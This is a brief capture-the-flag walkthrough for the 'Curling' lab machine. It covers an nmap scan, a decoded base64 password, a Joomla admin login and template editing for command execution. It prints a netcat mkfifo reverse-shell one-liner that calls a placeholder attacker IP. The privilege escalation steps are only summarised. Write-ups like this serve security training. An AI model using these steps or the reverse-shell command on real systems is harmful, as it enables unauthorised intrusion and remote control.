Curling

Enumeration

nmap -sC -sV -oA ./curling 10.10.10.150

SSH and Joomla are exposed. Page content reveals the user floris, while a source-code comment points to secret.txt. Decoding Q3VybGluZzIwMTgh gives Curling2018!.

Joomla access and shell

The credentials floris:Curling2018! work on the Joomla administrator page. Editing the Protostar template adds command execution, which is then replaced with a Netcat reverse shell.

rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc YOURIP 1234 >/tmp/f

Privilege escalation

The remainder of the original walkthrough uses local enumeration and the recovered Floris data to move from the web user to the machine user and then root. The full command output remains available in the linked CherryTree notes.